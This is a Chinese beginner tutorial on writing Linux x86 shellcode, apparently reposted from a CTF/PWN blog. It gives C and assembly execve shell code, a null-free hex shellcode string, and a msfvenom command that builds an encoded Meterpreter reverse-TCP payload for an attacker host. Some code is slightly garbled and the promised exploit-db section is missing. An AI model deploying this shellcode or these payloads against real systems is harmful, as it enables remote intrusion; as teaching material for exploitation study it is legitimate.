PWN 菜鸡入门之 shellcode编写 及exploid-db用法示例
Posted pwn2web
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了PWN 菜鸡入门之 shellcode编写 及exploid-db用法示例相关的知识,希望对你有一定的参考价值。
下面我将参考其他资料来一步步示范shellcode的几种编写方式
0x01 系统调用
通过系统调用execve函数返回shell
C语言实现:
#include<unistd.h> #include<stdlib.h> char *buf [] = {"/bin/sh",NULL}; void main { execve("/bin/sh",buf,0); exit(0); }
execve函数在父进程中fork一个子进程,在子进程中调用exec函数启动新的程序。execve()用来执行第一参数字符串所代表的文件路径,第二个参数是利用指针数组来传递给执行文件,并且需要以空指针(NULL)结束,最后一个参数则为传递给执行文件的新环境变量数组。从程序中可以看出,如果通过C语言调用execve来返回shell的话,首先需要引入相应的头文件,然后在主函数中调用系统调用函数execve;同时传入三个参数。
编译运行,获得shell:
[email protected]-virtual-machine:~/DIY$ ./shellcode
$ whoami
elvirangel
示例:
0x02 汇编形式编写shellcode
32位linux内核的系统调用表可以通过http://syscalls.kernelgrok.com/网站来查询
Int 0x80软中断
int 0x80软中断是系统中断,根据中断号和相关寄存器设置调用对应系统函数
开始编写shellcode
global _start _start: mov eax,0; mov edx,0; push edx push "/sh" push "/bin"; mov ebx,esp; xor eax,eax mov al,0Bh; int 80h
可见有很多/x00,shellcode中存在/x00字节在进行利用的时候会被截断,所以我们要避免出现/x00字节,重新修改我们的汇编程序
global _start _start: xor ecx,ecx xor edx,edx push edx push "//sh" push "/bin" mov ebx,esp xor eax,eax mov al,0Bh int 80ha
shellcode = "x31xc9x31xd2x52x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x31xc0xb0x0bxcdx80"
三、结合metasploit进行shellcode编写
可以看到使用msfvenom 自动帮我们生成恶意的shellcode
-
其中的-a 代表 的是目标的架构 如:x86
-
platform 代表的是一个目标机的平台 如: windows
-
那么-p 呢 代表的是msf的payload的以及-e 和-b 呢 代表这个 encoder编码器,-b 表示去除硬编码中的0x00代码,因为0x00代表着结束的符号,所以我们不能让他出现0x00这个代码。
-
最后的 -i 和-f 分别代表的是iterations和format (迭代次数和格式)
那么我们将其代码重新改改,我们比如需要的功能是meterperter、指定ip和端口、指定shellcode 编码格式如:c或者python等代码
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=攻击者IP地址 LPORT=攻击者端口 -e x86/shikata_ga_nai -b ‘x00‘ -i 迭代次数 -f c
-p去指定payload为 windows/meterpreter/reverse_tcp
LHOST 和LPORT 指定攻击者ip和端口
-e指定x86/shikata_ga_nai 编码器
-i 指定迭代为如 5次 或10次等
-f 指定输出的格式 如c 代码 、或者python等其他格式的代码
-f参数可以参考msfvenom的帮助参数 查看-f的支持格式
随机附上msf捆绑木马教程:
以上是关于PWN 菜鸡入门之 shellcode编写 及exploid-db用法示例的主要内容,如果未能解决你的问题,请参考以下文章
PWN菜鸡入门之栈溢出 —— ret2libc与动态链接库的关系